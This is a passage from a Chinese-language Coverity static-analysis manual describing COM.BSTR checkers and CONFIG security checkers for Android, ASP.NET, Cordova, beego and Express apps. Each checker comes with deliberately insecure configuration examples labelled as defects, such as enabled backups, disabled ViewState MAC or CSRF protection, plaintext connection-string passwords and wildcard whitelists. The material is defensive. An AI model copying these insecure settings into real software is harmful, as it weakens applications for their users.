对于 `BSTR` 表达式 `b` 和整数 `i`，`b += i`、`b -= i`、`b ++` 和 `b --` 是非法的，因为它们尝试将 `wchar_t*` 赋值给 `b`。

同样，下面的代码也包含缺陷，因为 `b2+2` 不再被视为 `BSTR`：

```
BSTR b1, b2;
b1 = b1 ? b1 : (b2 + 2);
```

4.42.4. 事件

本部分描述了 COM.BSTR.CONV 检查器生成的一个或多个事件。

缺陷报告指明了源代码中将类型为非 BSTR 的表达式隐式或显式转换为 BSTR (通过转换) 的位置。这些报告描述了源表达式、它具有的类型以及转换的语法环境。对于之前的示例，该报告显示：

```
Converting expression "ordinary_string" with type "wchar_t*"
to BSTR as parameter #2 of function IWhatever::foo with type
"HRESULT (struct IWhatever*, BSTR)"
```

此检查器将发现的指定函数的所有问题放到单独的缺陷报告中，并将每个问题作为一个单独的事件。这可让您更轻松地检查结果，这些结果在单个函数中通常是基本相同的。但这也意味着无法将同一函数内的不同问题标记为“误报”(FALSE) 或“程序缺陷”(BUG)，因为它们全部为同一状态。

4.43. COM.BSTR.NE_NON_BSTR

质量、COM 检查器

4.43.1. 概述

支持的语言：. C++

COM.BSTR.NE_NON_BSTR 可查找将 BSTR 与非 BSTR 表达式进行比较的很多情况。有时会发生此类比较，这是因为比较了错误的指针，或者是程序员期望比较字符串内容。该检查器报告将使用运算符 == 或 != 的 BSTR 表达式与非 BSTR 表达式进行比较的任何情况。

将此类比较视为缺陷的依据是，BSTR 通常被按照与 wchar_t* 类型的变量不同的方式处理。例如，BSTR (或者更精确地说，它指向的字符串) 在内存中通过 SysAllocString 分配，而通过 wchar_t* 指向的内存可以使用 malloc 和 new 等进行分配；因此，两个此类变量不可能指向同一内存位置。

如果比较是特意为之，您可以通过将 BSTR 表达式转换为 void* 抑制这些缺陷报告。

默认禁用：COM.BSTR.NE_NON_BSTR 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

4.43.2. 示例

本部分提供了一个或多个 COM.BSTR.NE_NON_BSTR 示例。

在下面的示例中，将 BSTR 变量与带有 == 运算符的 wchar_t* 进行了比较。

```
void f(BSTR b, wchar_t *w) {
    if (b == w) { // defect
    }
}
```

4.43.3. 选项

本部分描述了一个或多个 `COM.BSTR.NE_NON_BSTR` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `COM.BSTR.NE_NON_BSTR:arith_yields_wchar_t:<boolean>` - 如果此选项被设置为 `true`，该检查器会将 `BSTR` 的所有表达式 ` + <i> ` 和整数 `<i>` 视为具有类型 `wchar_t*`，而不是 `BSTR`。默认值为 `COM.BSTR.NE_NON_BSTR:arith_yields_wchar_t:false`

4.43.4. 事件

本部分描述了 `COM.BSTR.NE_NON_BSTR` 检查器生成的一个或多个事件。

- `equality_vs_non_bstr` : 将每个缺陷比较报告为错误。

4.44. CONFIG.ANDROID_BACKUPS_ALLOWED

Android 安全检查器

4.44.1. 概述

支持的语言：. Android 配置文件

`CONFIG.ANDROID_BACKUPS_ALLOWED` 报告当应用程序被配置为允许备份其数据时 `AndroidManifest.xml` 文件中的缺陷。备份文件可以泄露敏感信息，或者可以被篡改，然后被还原到相同或不同的设备上，从而可能回避安全控制和假设。

默认禁用：`CONFIG.ANDROID_BACKUPS_ALLOWED` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

对于 Kotlin，默认启用 `CONFIG.ANDROID_BACKUPS_ALLOWED`。

Android 安全检查器启用：要同时启用 `CONFIG.ANDROID_BACKUPS_ALLOWED` 以及其他 Java Android 安全检查器，请在 `cov-analyze` 命令中使用 `--android-security` 选项。

4.44.2. 缺陷剖析

Android 应用程序数据可以通过各种方式进行备份，包括：

- `Android Debug Bridge (ADB)`，如果已在设备上启用。用户（或用户计算机上的应用程序）可以使用 `adb backup` 命令启动备份。
- 在设备上运行的第三方备份应用程序。
- `Android 6.0` 中引入的自动备份功能 (<http://developer.android.com/training/backup/autosyncapi.html>)。

通过访问备份文件，攻击者可以查看或修改应用程序数据，而无需对设备进行根访问。应用程序存储的数据可以备份到本地计算机、SD 卡或云服务，然后被还原到另一个设备。

攻击者可以在用户设备上启动备份，也可以通过多种方式访问用户的现有备份，例如：

- 对无根设备和未锁定设备具有物理访问权限的攻击者可能能够使用 adb 或备份应用程序访问应用程序数据目录的内容。
- 不是使用根权限运行的恶意应用程序可能能够使用 BackupManager 接口访问应用程序数据目录的内容。
- 对具有包含应用程序数据目录备份的未加密 SD 卡的设备具有物理访问权限的攻击者可以删除 SD 卡并从另一个设备读取应用程序数据。
- 用户创建并存储在不同位置（例如用户的计算机或云服务）的现有备份可能会通过利用这些系统中的漏洞而受到损害。此应用场景可能会导致应用程序存储的数据受到损害。

另外，用户可能会执行以下操作：

- 备份应用程序数据、修改它，然后还原它，以绕过依赖于应用程序本地存储的数据的安全控制。
- 将数据还原到其他设备。对于尝试将注册绑定到设备而不允许用户在不重新注册的情况下切换设备的应用程序而言，此应用场景可能会出现问题。

要禁用应用程序备份，请在应用程序的 `AndroidManifest.xml` 文件中将 `<application>` 元素的 `android:allowBackup` 属性设置为 `false`。如果忽略该属性，Android 将默认允许备份。请参阅 <http://developer.android.com/guide/topics/manifest/application-element.html> 了解详情。



Note

如果应用程序在根设备上运行，则 `android:allowBackup` 属性的影响很小。使用根权限运行的应用程序（在没有 SEAndroid 的设备上，在 SEAndroid 未设置为 Enforcing 的设备上，或者在 SEAndroid 策略不限制应用程序文件系统访问的设备上）可以始终访问和备份设备上所有应用程序的数据，而无论 `android:allowBackup` 属性的值为何。

4.44.3. 示例

本部分提供了一个或多个 `CONFIG.ANDROID_BACKUPS_ALLOWED` 示例。

下面的示例显示了在 `AndroidManifest.xml` 文件中配置为允许备份的应用程序。

```
<application android:allowBackup="true">
```

下面的示例显示了忽略了 `allowBackup` 属性，在这种情况下它默认为 `true`。

```
<application>
```

4.45. CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED 安全检查器

4.45.1. 概述

支持的语言：. Java、Kotlin

CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED 检查器查找 Android 应用程序配置为在发行版构建中不启用代码压缩或代码模糊处理的情况。通过将 minifyEnabled 或 isMinifyEnabled 设置为 false (或忽略它 , 因为默认值为 false) 可以禁用代码压缩。通过忽略 proguardFiles 设置可以禁用代码模糊处理。不为 Android 应用程序配置代码压缩和代码模糊处理 , 不仅可能导致应用大小较大 , 还可能导致应用逻辑和敏感功能暴露在攻击者面前。

CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED 检查器默认禁用。它仅在审计模式下启用。

4.45.2. 示例

本部分提供了一个或多个 CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED 示例。

在下面的示例中 , 针对 minifyEnabled 和 the proguardFiles 设置显示了两个 CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED 缺陷 , 因为在发行版构建中 minifyEnabled 被设置为 false , 并忽略了 proguardFiles 设置。

```
apply plugin: 'com.android.application'

android { //defect here for missing code shrinking //defect here for missing code
    obfuscation
        signingConfigs {
        }
        compileSdkVersion 26
        buildToolsVersion "28.0.3"
        defaultConfig {
            applicationId "com.google.android.gms.samples.vision.face.facetrackersnd3d"
            minSdkVersion 21
            targetSdkVersion 26
            multiDexEnabled true
            versionCode 1
            versionName "1.0"
        }
        buildTypes {
            release { // missing proguardFiles setting
                minifyEnabled false
            }
        }
    }
}
```

4.46. CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION

Android 安全检查器

4.46.1. 概述

支持的语言 : . Android 配置文件

CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION 报告当应用程序被配置为针对不是最新可用的 Android 操作系统版本时 AndroidManifest.xml 文件中的缺陷。

默认禁用 : CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

对于 Kotlin，默认启用 CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION。

Android 安全检查器启用：要同时启用 CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

4.46.2. 缺陷剖析

影响：低

当应用程序在具有高于目标版本的操作系统版本的设备上运行时，针对较旧的版本可以启用兼容性行为。

更重要的是，针对较旧的 Android 操作系统版本可以防止应用程序利用较新版本中添加的安全增强。这些安全增强包括以下内容：

- API 28+：默认阻止的明文通信、改进的 Webview 安全性、通过每个应用程序 SELinux 域改进的文件系统安全性。
- API 27+：指纹处理改进，新的和更安全的加密算法。
- API 26+：自动填充框架，Google SafeBrowsing API，新的电话相关权限，新的 Account Manager API。
- API 24+：密钥认证，提供证书锁定和明文通信选择退出的 Network Security Config，范围内目录访问，禁用 RC4 的 TLS/SSL 连接。
- API 23+：硬件密钥库，指纹认证，App 链接，运行时权限。

要随每个 Android 操作系统发行版一起维护您的应用程序并利用最新安全功能，您应增加 android:targetSdkVersion 属性的值以匹配最新 API 版本。

修复：将 android:targetSdkVersion 属性设置为最新的 Android API，例如 29 或更高版本。

4.46.3. 示例

本部分提供了一个或多个 CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION 示例。

下面的示例显示了在 AndroidManifest.xml 文件中配置为目标 API 版本 23 的应用程序：

```
<uses-sdk android:targetSdkVersion="23" android:minSdkVersion="19">
    // CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION defect at previous line
```

下面的示例显示了从应用程序中忽略了 targetSdkVersion 属性：

```
<uses-sdk android:minSdkVersion="19">
    // CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION defect at previous line
```

下面的示例显示了从应用程序中忽略了 `<uses-sdk>` 元素：

```
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
    // CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION defect at previous line
    <application>
        ...
    </application>
</manifest>
```

4.46.4. 事件

本部分描述了 `CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION` 检查器生成的一个或多个事件。

- `MainEvent` - 包含 `targetSdkVersion` 的过期值的 Android 应用程序的配置
- `Remediation` - 提出如何解决该缺陷的建议。

4.46.5. 与分类的关系

2017 年 OWASP 十大安全风险

A6:2017 - 安全错误配置

2016 年 OWASP 十大移动安全风险

M1:2016 - 不当的平台使用

CWE 缺陷库 (CWE)

CWE-1032 : 安全错误配置

4.47. CONFIG.ANDROID_UNSAFE_MINSDKVERSION

Android 安全检查器

4.47.1. 概述

支持的语言：. Android 配置文件

`CONFIG.ANDROID_UNSAFE_MINSDKVERSION` 查找 Android 应用程序是否配置为支持旧的 Android 操作系统版本，这些版本包含高风险、众所周知的漏洞，并且不再接收来自 Google 或设备制造商的安全更新。

支持已知易受攻击的 Android 版本的应用程序更可能使用易受攻击的系统库或 API 版本，从而使应用程序暴露给众所周知的攻击。易于获得的概念证明代码通常存在于众所周知的漏洞中，无论是单独存在还是作为公开可用的测试工具的一部分。攻击者可以更快地利用此代码来攻击漏洞，因为开发有用的漏洞不必花费时间或花费很少时间。

攻击者可能能够利用已知的漏洞攻击应用程序所依赖的功能和 API、应用程序本身、用户数据和一般设备。影响取决于应用程序支持的操作系统版本中存在的具体漏洞，可能包括信息泄露、数据完整性丢失和远程代码执行等。

我们建议您不要支持包含高风险、众所周知漏洞的操作系统版本。请注意，这将导致一些用户无法在较旧设备上安装较新版本的应用程序。除非仔细安装，否则这些用户最终不仅会使用较旧的、易受攻击的操作系统版本，而且可能还会使用该应用程序的较旧的、易受攻击的版本。以下步骤概述了一种避免这种应用场景的方法，同时仍然放弃对易受攻击的操作系统版本的支持：

1. 发布新版本的应用程序，它检查操作系统版本并显示类似如下消息的警告：

“此应用程序包括需要较新操作系统版本的功能。若要继续使用该应用程序的全部功能，请升级到最新的操作系统版本。在 <insert_date> 之后，此应用程序将无法继续在此操作系统版本上使用。”

这在 Android（其中，制造商不再支持许多设备）上可能是一个问题。因此，放弃对较旧操作系统版本的支持，从而阻止某些用户使用该应用程序，将需要成为业务决策。如果应用程序在敏感操作（例如用户身份验证请求）期间尚未向服务器发送其版本号，则添加此功能。

2. 发布不支持旧易受攻击的操作系统版本的应用程序的新版本。到目前为止还没有升级操作系统的用户将无法下载此更新。
3. 在服务器上，当从应用程序的旧版本传入敏感操作请求时，将返回一条错误消息，指示用户需要将应用程序升级为最新版本才能使用该功能。

默认禁用：CONFIG.ANDROID_UNSAFE_MINSDKVERSION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

对于 Kotlin，默认启用 CONFIG.ANDROID_UNSAFE_MINSDKVERSION。

Android 安全检查器启用：要同时启用 CONFIG.ANDROID_UNSAFE_MINSDKVERSION 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

4.47.2. 示例

本部分提供了一个或多个 CONFIG.ANDROID_UNSAFE_MINSDKVERSION 示例。

下面的示例显示了在 AndroidManifest.xml 文件中配置为支持最低 Android SDK 版本 17 的应用程序：

```
<uses-sdk android:targetSdkVersion="29" android:minSdkVersion="17">
```

下面的示例显示了忽略了 minSdkVersion 属性，在这种情况下它默认为值 1：

```
<uses-sdk android:targetSdkVersion="29">
```

4.48. CONFIG.ASP_VIEWSTATE_MAC

安全检查器

4.48.1. 概述

支持的语言：. C#、Visual Basic

CONFIG.ASP_VIEWSTATE_MAC 可检测禁止生成查看状态机器验证码 (MAC) 的 ASP.NET 页面和应用程序。使用 ASP.NET 版本 4.5.1 和更早的版本时，此设置可能允许攻击者在 Web 服务器中上传和执行任意代码。

 Note

此安全漏洞已在 KB 2905247 (可选；2013 年 12 月) 和 .NET 4.5.2 及更高版本中修复，因而无法再禁用查看状态 MAC 生成功能。

默认禁用： CONFIG.ASP_VIEWSTATE_MAC 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.ASP_VIEWSTATE_MAC 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.48.2. 缺陷剖析

CONFIG.ASP_VIEWSTATE_MAC 缺陷包含可识别错误安全配置的单个事件。

4.48.3. 示例

本部分提供了一个或多个 CONFIG.ASP_VIEWSTATE_MAC 示例。

查看状态 MAC 功能可以在 ASP.NET Web.Config 文件中禁用：

```
<configuration>
  <system.web>
    <pages enableViewStateMac="false" /> <!-- This is a defect -->
    ...
  </system.web>
  ...
</configuration>
```

还可以使用 EnableViewStateMac 属性以及 Page 指令对 ASPX 页面禁用该功能。

```
<%@ Page ... EnableViewStateMac="false" %>
```

4.49. CONFIG.ASPNET_VERSION_HEADER

安全检查器

4.49.1. 概述

支持的语言：. C#、Visual Basic

CONFIG.ASPNET_VERSION_HEADER 查找 Web.Config 文件未能禁止包含 X-AspNet-Version 头文件的情况。默认情况下，包含此头文件。最佳做法是通过移除 HTTP 响应头文件来隐藏关于框架的信息。为此，您可以将 enableVersionHeader 属性设置为 false，如该示例中所示。

默认禁用： CONFIG.ASPNET_VERSION_HEADER 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.ASPNET_VERSION_HEADER 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.49.2. 缺陷剖析

CONFIG.ASPNET_VERSION_HEADER 缺陷包含可识别错误安全配置的单个事件。

4.49.3. 示例

本部分提供了一个或多个 CONFIG.ASPNET_VERSION_HEADER 示例。

4.49.3.1. C#

```
<configuration>
  <system.web>
    <httpRuntime enableVersionHeader="true" />  <!-- Defect here. -->
    ...
  </system.web>
</configuration>

<configuration>
  <system.web>  <!-- Defect here. -->
  ...
  </system.web>
</configuration>

<configuration>
  <system.web>
    <httpRuntime enableVersionHeader="false" />  <!-- No defect. -->
    ...
  </system.web>
</configuration>
```

4.50. CONFIG.ATS_INSECURE

安全检查器

4.50.1. 概述

支持的语言：. Swift

CONFIG.ATS_INSECURE 标识不安全的“应用传输安全”(ATS) 配置。

“应用传输安全”是在 iOS 9 中引入的一项操作系统功能，目的是保护 iOS 应用程序的网络通信。ATS 强制执行多个安全最佳实践，并在检测到任何违规时以运行时异常失败。但是，配置设置可能会禁用部分或全部此保护。

CONFIG.ATS_INSECURE 报告配置文件（例如 Info.plist）中会削弱“应用传输安全”提供的保护的具体值或省略。影响取决于安全例外的合法性以及应用程序网络通信的性质。

默认启用 : CONFIG.ATS_INSECURE 默认启用。有关启用/禁用详情和选项 , 请参阅Section 1.2, “启用和禁用检查器”。

4.50.2. 示例

本部分提供了一个或多个 CONFIG.ATS_INSECURE 示例。

以下示例全局禁用 ATS , 从而允许任意的不安全连接 :

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/
PropertyList-1.0.dtd">
<plist version="1.0">

...
<dict>
    <key>NSAppTransportSecurity</key>
    <dict>
        <key>NSAllowsArbitraryLoads</key>
        // Insecure ATS Configuration here
        <true/>
    </dict>
    <key>NSLocationWhenInUseUsageDescription</key>
    <string>Location is required to retrieve the weather info for your current
place.</string>
</dict>
...
</plist>
```

4.51. CONFIG.BEEGO_CSRF_PROTECTION_DISABLED 安全性

4.51.1. 概述

支持的语言 : . Go

CONFIG.BEEGO_CSRF_PROTECTION_DISABLED 检查器报告 beego 框架的 CSRF 保护被禁用 , 允许攻击者利用 Web 客户端的已验证会话在远程服务器上执行不需要的操作 , 从而导致敏感功能意外执行或数据暴露的情况。

默认启用 : CONFIG.BEEGO_CSRF_PROTECTION_DISABLED 检查器默认启用。

4.51.2. 示例

本部分提供了一个或多个 CONFIG.BEEGO_CSRF_PROTECTION_DISABLED 示例。

在下面的示例中，如果将配置对象中的 `web.BConfig.WebConfig.EnableXSRF` 属性显式设置为 `false`，将显示 `CONFIG.BEEGO_CSRF_PROTECTION_DISABLED` 缺陷。

```
```
package main

import "github.com/beego/beego/server/web"

func setDefaultConfig() {
 web.BConfig.WebConfig.EnableXSRF = false // defect here
 web.BConfig.WebConfig.XSRFExpire = 3600
 web.BConfig.WebConfig.XSRFKey = "61oETzKXQAGaYdkL5gEmGeJJFuYh7EQnp2XdTP1o"
 web.Run(":8080")
}
```

```

4.52. CONFIG.CONNECTION_STRING_PASSWORD

安全检查器

4.52.1. 概述

支持的语言：. C#、Visual Basic

`CONFIG.CONNECTION_STRING_PASSWORD` 查找 `Web.Config` 文件包含未加密的连接字符串密码的情况。如果 `<add>` 子项（`<connectionStrings>` 的，在 `Web.Config` 中）使用 `pwd=` 属性作为值，该检查器将报告缺陷。显式指定 `pwd=`（在属性 `<connectionStrings>` 中）会泄露未加密的连接字符串密码。最佳做法是使用受保护的配置加密敏感信息。

默认禁用：`CONFIG.CONNECTION_STRING_PASSWORD` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `CONFIG.CONNECTION_STRING_PASSWORD` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.52.2. 缺陷剖析

`CONFIG.CONNECTION_STRING_PASSWORD` 缺陷包含可识别错误安全配置的单个事件。

4.52.3. 示例

本部分提供了一个或多个 `CONFIG.CONNECTION_STRING_PASSWORD` 示例。

此示例产生了缺陷报告。

```
<configuration>
  <connectionStrings>
    <add name="Name" connectionString="connectDB=uDB; uid=db2admin; pwd=db2admin;
dbalias=uDB;" providerName="XXX" />
    ...
  </connectionStrings>

```

```
</configuration>
```

此示例没有产生缺陷报告。

```
<configuration>
  <connectionStrings>
    <clear /> <!-- No defect-->
  </connectionStrings>
</configuration>
```

4.53. CONFIG.COOKIE_SIGNING_DISABLED

4.53.1. 概述

支持的语言：. JavaScript、TypeScript

CONFIG.COOKIE_SIGNING_DISABLED 检查器标记以下 cookie-session 实例：其中 signed 属性被设置为 false，从而禁用 Cookie 签名。在该情况下，恶意用户可以随意修改会话数据。这将导致滥用任何使用会话数据的功能。默认设置为 true，这是安全设置。

CONFIG.COOKIE_SIGNING_DISABLED 检查器默认禁用。要启用此检查器，请使用 cov-analyze 命令的 --webapp-security 选项。

4.53.2. 示例

本部分提供了一个或多个 CONFIG.COOKIE_SIGNING_DISABLED 示例。

在下面的示例中，如果在 cookie-session 构造函数中将 signed 属性设置为 false，将显示 CONFIG.COOKIE_SIGNING_DISABLED 缺陷。

```
var express = require('express');
var app = express();
var cookieSession = require('cookie-session');

//use cookie-session middleware
app.use(cookieSession({
  name: 'session',
  keys: ['key1', 'key2'],
  signed: false
}));
```

4.54. CONFIG.COOKIES_MISSING_HTTPONLY

安全检查器

4.54.1. 概述

支持的语言：. C#、Visual Basic

CONFIG.COOKIES_MISSING_HTTPONLY 可查找 Cookie 的 HttpOnly 标志被显式禁用或未在配置文件中设置（例如通过 Web.Config）的情况。此标志通过 httpCookies 的 httpOnlyCookies 属性配置，如下面的示例所示。HttpOnly 标志可阻止客户端应用程序（例如 JavaScript）获取 cookie 的访问权限。要阻止跨站点脚本攻击窃取或修改 cookie 数据，最佳做法是启用此 cookie 标志。

默认禁用： CONFIG.COOKIES_MISSING_HTTPONLY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CONFIG.COOKIES_MISSING_HTTPONLY 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.54.2. 缺陷剖析

CONFIG.COOKIES_MISSING_HTTPONLY 缺陷包含可识别错误安全配置的单个事件。

4.54.3. 示例

本部分提供了一个或多个 CONFIG.COOKIES_MISSING_HTTPONLY 示例。

```
<configuration>
  <system.web>
    <httpCookies httpOnlyCookies="false" />    <!-- Defect here. -->
    ...
  </system.web>
</configuration>

<configuration>
  <system.web>  <!-- Defect here. -->
  ...
  </system.web>
</configuration>

<configuration>
  <system.web>
    <httpCookies httpOnlyCookies="true" />    <!-- No defect here. -->
    ...
  </system.web>
</configuration>
```

4.55. CONFIG.CORDOVA_EXCESSIVE_LOGGING

安全检查器

4.55.1. 概述

支持的语言：. JavaScript、TypeScript

CONFIG.CORDOVA_EXCESSIVE_LOGGING 查找以下情况：其中 Cordova 应用程序已使用 VERBOSE 或 DEBUG 日志级别进行配置。

在 VERBOSE 或 DEBUG 级别生成的日志可能包含敏感信息。

- 网络请求

指定应用程序可向其发出网络请求的 URL。

- 意图

指定第三方应用程序可以访问的 URL (如果该 URL 已在应用程序中注册)。

- 导航

指定应用程序可以导航到的 URL。

CONFIG.CORDOVA_EXCESSIVE_LOGGING 默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项来启用它。

4.55.2. 缺陷剖析

影响：低

Cordova 应用程序已被配置为使用 DEBUG 或 VERBOSE 日志级别创建过多的日志。

过多的日志记录可能会在日志文件中暴露敏感信息。

修复：生产 Cordova 应用程序的日志级别应被设置为 ERROR、WARN 或 INFO，而不是 DEBUG 或 VERBOSE。

4.55.3. 示例

本部分提供了一个或多个 CONFIG.CORDOVA_EXCESSIVE_LOGGING 示例。

在下面的示例中，当 LogLevel 偏好被设置为 DEBUG 时，将显示 CONFIG.CORDOVA_EXCESSIVE_LOGGING 缺陷。

```
<?xml version="1.0" encoding="utf-8"?>
<widget xmlns:cdv="http://cordova.apache.org/ns/1.0"
  xmlns:vs="http://schemas.microsoft.com/appx/2014/htmlapps" xml:id="io.cordova.testapp"
  version="1.0.0"
  xmlns="http://www.w3.org/ns/widgets" defaultlocale="en-US">
  <name>TestApp</name>
  <content src="index.html" />
  <preference name="LogLevel" value="DEBUG" />
  // CONFIG.CORDOVA_EXCESSIVE_LOGGING defect at previous line
</widget>
```

4.55.4. 事件

本部分描述了 CONFIG.CORDOVA_EXCESSIVE_LOGGING 检查器生成的一个或多个事件。

- MainEvent - 配置属性 loglevel 被设置为 DEBUG 或 VERBOSE。

- Remediation - 通过将 `loglevel` 属性配置为除 `VERBOSE` 或 `DEBUG` 之外的其他属性，提出如何解决该缺陷的建议。

4.55.5. 与分类的关系

2017 年 OWASP 十大安全风险

A6:2017 - 安全错误配置

2016 年 OWASP 十大移动安全风险

M2:2016 - 不安全数据存储

CWE 缺陷库 (CWE)

CWE-779 : 记录过多的数据

4.56. CONFIG.CORDOVA_PERMISSIVE_WHITELIST

质量检查器、安全检查器

4.56.1. 概述

支持的语言 : . JavaScript、TypeScript

`CONFIG.CORDOVA_PERMISSIVE_WHITELIST` 查找以下情况：其中 Cordova 应用程序已使用过分宽容的允许清单进行配置。允许清单可以是以下三种类型之一：

- 网络请求

指定应用程序可向其发出网络请求的 URL。

- 意图

指定第三方应用程序可以访问的 URL (如果该 URL 已在应用程序中注册)。

- 导航

指定应用程序可以导航到的 URL。

`CONFIG.CORDOVA_PERMISSIVE_WHITELIST` 默认禁用。您可以使用 `cov-analyze` 命令的 `--webapp-security` 选项来启用它。

4.56.2. 缺陷剖析

影响 : 低

当允许清单配置允许访问任意 URL 时，此检查器报告错误。

向任何 URL 开放的允许清单的含义取决于允许清单的类型，如以下小节所述。

4.56.2.1. 网络请求允许清单

允许不受限制地向任何域发出出站网络请求可能会导致恶意 JavaScript 代码的执行，或者允许向用户呈现钓鱼页面。

修复：配置正则表达式 `<access origin>`，以便系统仅允许向特定 URL 发出出站网络请求。或者，您可以在加载到 WebView 中的 HTML 页面中使用严格的内容安全策略。

4.56.2.2. 意图允许清单

允许设备上的第三方应用程序处理未识别的 URL 可能会导致信息泄露或网络钓鱼攻击。

修复：配置正则表达式 `<allow-intent regex`，以便设备上的其他应用程序仅处理特定类型的 URL（例如 `http://`、`https://`、`sms:`、`geo:` 或 `tel:`）。

4.56.2.3. 导航允许清单

允许应用程序的 WebView 打开不可信 URL 可能导致在应用程序上下文中执行恶意 JavaScript 代码，或者允许向用户呈现钓鱼页面。

修复：配置正则表达式 `<allow-navigation>`，以便仅允许 WebView 导航至特定 URL。

4.56.3. 示例

本部分提供了一个或多个 `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` 示例。

下面的示例包含三个宽容允许清单，因此将报告 `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` 缺陷三次。网络请求允许清单 `<access origin="*"` 允许向任何主机发出资源的传出请求。意图允许清单 `<allow-navigation href="*"` 允许在用户从 Cordova 应用程序中单击此类 URL 时加载注册 URL 的设备上的任何应用程序。导航允许清单 `<allow-intent href="*"` 允许应用程序不受限制地导航到任何 URL。

```
<?xml version="1.0" encoding="utf-8"?>
<widget xmlns:cdv="http://cordova.apache.org/ns/1.0"
  xmlns:vs="http://schemas.microsoft.com/appx/2014/htmlapps" xml:id="io.cordova.testapp"
  version="1.0.0" xmlns="http://www.w3.org/ns/widgets" defaultlocale="en-US">
  <name>TestApp</name>
  <content src="index.html" />
  <access origin="*" /> // CONFIG.CORDOVA_PERMISSIVE_WHITELIST defect
  <platform name="android" />
    <allow-intent href="*" /> // CONFIG.CORDOVA_PERMISSIVE_WHITELIST defect
  </platform>
  <allow-navigation href="*" /> // CONFIG.CORDOVA_PERMISSIVE_WHITELIST defect
</widget>
```

4.56.4. 事件

本部分描述了 `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` 检查器生成的一个或多个事件。

- MainEvent - Cordova 允许清单插件的错误配置的 XML 元素。
- Remediation - 提出有关以更严格的方式配置适当的 URL regex 的建议。

4.56.5. 与分类的关系

2017 年 OWASP 十大安全风险

A6:2017 - 安全错误配置

2016 年 OWASP 十大移动安全风险

M7:2016 - 代码质量差

CWE 缺陷库 (CWE)

CWE-183 : 允许输入的权限列表

4.57. CONFIG.CSURF_IGNORE_METHODS

安全检查器

4.57.1. 概述

支持的语言 : . JavaScript、TypeScript

CONFIG.CSURF_IGNORE_METHODS 可查找 csurf 中间件被配置为忽略包含可更改服务器状态的 HTTP 方法 (例如 POST、PUT、DELETE 等) 的请求。

当 Node 模块 csurf 被全局应用到 Express 应用 (app.use(csrf)) 时 , 默认情况下 , 它会阻止针对所有可更改状态的 HTTP 方法 (例如 POST、PUT、DELETE 等) 的 CSRF。但是 , 可以使用被传递给默认 csurf 模块函数的 csrf 选项中的 ignoreMethods 设置 , 手动配置忽略保护的方法的列表。

要安全地配置 csrf , 请避免设置 ignoreMethods (因为默认配置是安全的) , 或者请勿在 ignoreMethods 列表中使用可更改状态的任何 HTTP 方法 : PUT、POST、DELETE、PATCH。

默认禁用 : CONFIG.CSURF_IGNORE_METHODS 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用 : 要启用 CONFIG.CSURF_IGNORE_METHODS 以及其他 Web 应用程序检查器 , 请使用 --webapp-security 选项。

4.57.2. 示例

本部分提供了一个或多个 CONFIG.CSURF_IGNORE_METHODS 示例。

在下面的示例中 , 针对将 csrfProtection 实例用于应用的语句显示 CONFIG.CSURF_IGNORE_METHODS 缺陷。

```
var express = require('express');
var app = express();
var csrf = require('csurf');
var csrfProtection = csrf({cookie: true, ignoreMethods: ['GET', 'POST']});

app.use(csrfProtection);           // CONFIG.CSURF_IGNORE_METHODS defect
```

4.57.3. 事件

本部分描述了 CONFIG.CSURF_IGNORE_METHODS 检查器生成的一个或多个事件。

- MainEvent - 忽略不安全的 HTTP 方法的 Csrf 实例的配置。
- Remediation - 提供有关如何通过正确配置忽略 CSRF 保护的方法来解决缺陷的建议。

4.58. CONFIG.DEAD_AUTHORIZATION_RULE 安全检查器

4.58.1. 概述

支持的语言 : . C#、Visual Basic

CONFIG.DEAD_AUTHORIZATION_RULE 可找出不起作用的 ASP.NET 验证规则（这可能表明规则逻辑中存在错误）。由于各种模式是按照其编写顺序应用的，因此如果某规则的模式被之前模式控制，则该规则绝不会得到应用。恶意用户可以利用此类错误访问非正常应用程序内容或提升权限。

